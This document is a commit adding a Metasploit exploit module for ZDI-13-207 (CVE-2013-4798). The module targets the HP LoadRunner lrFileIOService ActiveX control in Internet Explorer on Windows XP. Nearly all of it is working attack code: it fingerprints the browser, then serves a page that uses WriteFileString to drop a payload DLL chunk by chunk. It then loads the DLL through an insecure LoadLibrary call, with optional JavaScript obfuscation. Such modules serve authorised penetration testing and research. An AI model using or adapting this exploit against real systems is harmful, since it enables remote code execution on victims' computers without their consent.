Add module for ZDI-13-207
jvazquez-r7
Tod Beardsley
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4788d8627c
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0bebf04293
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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include Msf::Exploit::EXE
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "8.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:os_ver => OperatingSystems::WindowsVersions::XP,
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:rank => NormalRanking,
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:classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
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:method => "WriteFileString "
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution",
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'Description' => %q{
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This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
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with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,
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which allow the user to write arbitrary files. It's abused to drop a payload
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embedded in a dll, which is later loaded through the Init() method from the
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lrMdrvService control, by abusing an insecure LoadLibrary call. This module has
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been tested successfully on IE8 on Windows XP. Virtualization based on the Low
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Integrity Process, on Windows Vista and 7, will stop this stop this module because
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the DLL will be dropped to a virtualized folder, which isn't used by LoadLibrary.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brian Gorenc', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2013-4798' ],
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[ 'OSVDB', '95642' ],
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[ 'BID', '61443'],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ],
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[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
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],
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'Payload' =>
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{
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'Space' => 2048,
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic IE on Windows XP', {} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jul 24 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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# Just reminding the user to delete LrWeb2MdrvLoader.dll
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# because migration and killing the exploited process is
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# needed
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def on_new_session(session)
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print_status("New session... remember to delete LrWeb2MdrvLoader.dll")
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end
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def is_target?(agent)
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if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/
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return true
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end
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return false
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end
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def create_dll_js(object_id, dll_data)
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dll_js = ""
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first = true
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dll_data.each_char { |chunk|
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if first
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dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n"
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first = false
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else
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dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n"
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end
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}
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return dll_js
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end
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def load_exploit_html(cli)
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return nil if ((p = regenerate_payload(cli)) == nil)
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file_io = rand_text_alpha(rand(10) + 8)
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mdrv_service = rand_text_alpha(rand(10) + 8)
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dll_data = generate_payload_dll({ :code => p.encoded })
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drop_dll_js = create_dll_js(file_io, dll_data)
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html = %Q|
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<html>
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<body>
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<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{file_io}'></object>
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<object classid='clsid:9EE336F8-04B7-4B9F-8421-B982E7A4785C' id='#{mdrv_service}'></object>
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<script language='javascript'>
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#{drop_dll_js}
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#{mdrv_service}.Init("-f #{rand_text_alpha(8 + rand(8))}", "#{rand_text_alpha(8 + rand(8))}");
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</script>
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</body>
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</html>
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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# Avoid the attack if no suitable target found
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if not is_target?(agent)
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(cli)
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if html.nil?
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send_not_found(cli)
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return
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end
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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